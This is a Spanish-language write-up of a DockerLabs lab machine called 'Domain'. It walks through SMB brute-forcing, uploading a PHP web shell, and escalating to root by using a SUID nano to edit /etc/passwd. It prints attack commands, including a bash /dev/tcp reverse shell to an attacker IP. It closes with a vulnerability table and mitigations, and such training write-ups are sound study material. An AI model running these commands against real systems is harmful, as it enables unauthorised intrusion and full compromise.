Domain
Introducción
Sección titulada «Introducción»Este documento describe de forma detallada la metodología y el procedimiento completo para comprometer la máquina Domain, desarrollada por El Pingüino de Mario para DockerLabs y clasificada con dificultad Media.
La resolución sigue un enfoque estructurado de pentesting, dividido en las siguientes fases:
- Reconocimiento: Identificación de servicios expuestos y enumeración de recursos accesibles.
- Explotación: Obtención de acceso inicial mediante fuerza bruta de credenciales SMB y reutilización de contraseñas.
- Escalada de privilegios: Evasión de restricciones de shell y abuso de permisos SUID para alcanzar acceso root.
El entorno de prueba fue desplegado localmente mediante DockerLabs, garantizando un ambiente aislado, controlado y reproducible.
Información Técnica
Sección titulada «Información Técnica»| Atributo | Valor |
|---|---|
| Nombre | Domain |
| Autor | El Pingüino de Mario |
| Dificultad | Medio |
| Fecha | 11/04/2024 |
| Plataforma | DockerLabs |
| IP Objetivo | 172.17.0.2 |
Fase 1 — Despliegue y Configuración
Sección titulada «Fase 1 — Despliegue y Configuración»1.1 Preparación del Entorno
Sección titulada «1.1 Preparación del Entorno»Descomprimimos el archivo de la máquina y la desplegamos utilizando el script proporcionado:
unzip Domain.zipsudo bash auto_deploy.sh Domain.tar
Figura 1: Dirección IP asignada al contenedor
1.2 Organización del Workspace
Sección titulada «1.2 Organización del Workspace»Creamos una estructura de directorios organizada para almacenar escaneos, exploits y evidencias durante el proceso:
mkdir -p Domain/{content,exploits,nmap,scripts}cd DomainFase 2 — Reconocimiento
Sección titulada «Fase 2 — Reconocimiento»2.1 Escaneo de Puertos
Sección titulada «2.1 Escaneo de Puertos»Ejecutamos un escaneo TCP SYN para identificar todos los puertos abiertos en la máquina objetivo:
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPortsextractPorts allPortsResultados:
- 80/tcp — HTTP
- 139/tcp — SMB
- 445/tcp — SMB

Figura 2: Puertos identificados como abiertos
2.2 Enumeración SMB
Sección titulada «2.2 Enumeración SMB»Utilizamos la herramienta enum4linux para enumerar usuarios, recursos compartidos y configuraciones del servicio SMB:
enum4linux -a 172.17.0.2Hallazgos clave:
- Usuarios identificados:

jamesbob
- Recursos compartidos (shares):

htmlprint$
2.2 Enumeración Web
Sección titulada «2.2 Enumeración Web»Realizamos un escaneo de directorios y archivos web utilizando feroxbuster:
feroxbuster -u http://172.17.0.2/ \ -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt \ -x php,html,txt,js,json -t 100 -C 404Tras el escaneo no se identificaron recursos adicionales de interés, únicamente el archivo index por defecto:

Fase 3 — Acceso Inicial
Sección titulada «Fase 3 — Acceso Inicial»3.1 Fuerza Bruta a Credenciales SMB
Sección titulada «3.1 Fuerza Bruta a Credenciales SMB»Utilizamos crackmapexec junto al diccionario rockyou.txt para realizar un ataque de fuerza bruta contra el servicio SMB:
crackmapexec smb 172.17.0.2 -u users.txt -p rockyou.txt
Figura 4: Credenciales válidas obtenidas
Credenciales comprometidas: bob:PASSWORD
3.2 Exploración de Recursos Compartidos
Sección titulada «3.2 Exploración de Recursos Compartidos»Accedemos al recurso compartido html utilizando las credenciales obtenidas:
smbclient //172.17.0.2/html -U bob%PASSWORD
Figura 5: Archivo index encontrado en el share
El recurso compartido únicamente contiene el archivo index, lo que indica que el contenido web se sirve directamente desde este directorio SMB.
Aprovechando esta configuración, procedemos a subir una web shell en PHP:

Una vez cargada, accedemos a la URL http://172.17.0.2/shell.php e ingresamos el comando id para comprobar su funcionamiento:

La ejecución es exitosa. A continuación, levantamos un listener en la máquina atacante:
nc -nlvp 443Desde la web shell ejecutamos el siguiente comando para obtener una reverse shell:
bash -c "bash -i >& /dev/tcp/172.17.0.1/443 0>&1"Al revisar el listener, confirmamos que la conexión se ha establecido correctamente:

Obtenemos acceso interactivo como el usuario www-data.
Fase 4 — Escalada de Privilegios
Sección titulada «Fase 4 — Escalada de Privilegios»4.1 De www-data → bob
Sección titulada «4.1 De www-data → bob»Esta escalada resulta trivial, ya que reutilizamos las credenciales obtenidas previamente del servicio SMB, las cuales permiten iniciar sesión como el usuario bob.
4.3 De bob → root
Sección titulada «4.3 De bob → root»Comenzamos revisando los privilegios sudo:
sudo -lEl usuario no tiene permisos sudo asignados, por lo que procedemos a enumerar binarios con permisos SUID:
find / -perm -4000 2>/dev/nullEl resultado es el siguiente:

Entre los binarios identificados destaca nano. Intentamos obtener una shell mediante:
nano
ctrl + Rctrl + Xreset; sh 1>&0 2>&0Sin embargo, este método no produce resultados. Como alternativa, aprovechamos nano para modificar el archivo /etc/passwd.
- Preparación del archivo modificado:
Editamos el archivo y eliminamos la
xdel usuarioroot, deshabilitando así la autenticación por contraseña.
nano /etc/passwd# Eliminar la 'x' de la línea de rootFinalmente, ejecutamos:
su rootObteniendo acceso como superusuario:

Análisis de Vulnerabilidades
Sección titulada «Análisis de Vulnerabilidades»5.1 Fallos de Seguridad Identificados
Sección titulada «5.1 Fallos de Seguridad Identificados»| Vulnerabilidad | Severidad | Impacto |
|---|---|---|
| Contraseñas débiles y reutilización | Alta | Acceso inicial al sistema |
| Configuración de SMB expuesta | Media | Enumeración de usuarios y recursos |
Permisos SUID en binario nano | Crítica | Elevación de privilegios a root |
Restricciones de rbash mal implementadas | Media | Facilita evasión de controles |
5.2 Recomendaciones de Mitigación
Sección titulada «5.2 Recomendaciones de Mitigación»- Implementar políticas de contraseñas robustas y evitar la reutilización de credenciales entre servicios.
- Restringir el acceso anónimo y la enumeración de usuarios en servicios SMB.
- Revisar y eliminar permisos SUID innecesarios, especialmente en binarios interactivos como
nano. - Aislar los recursos compartidos del directorio raíz del servicio web.
- Aplicar principios de mínimo privilegio para usuarios y servicios del sistema.
- Monitorear y auditar accesos a servicios críticos de forma periódica.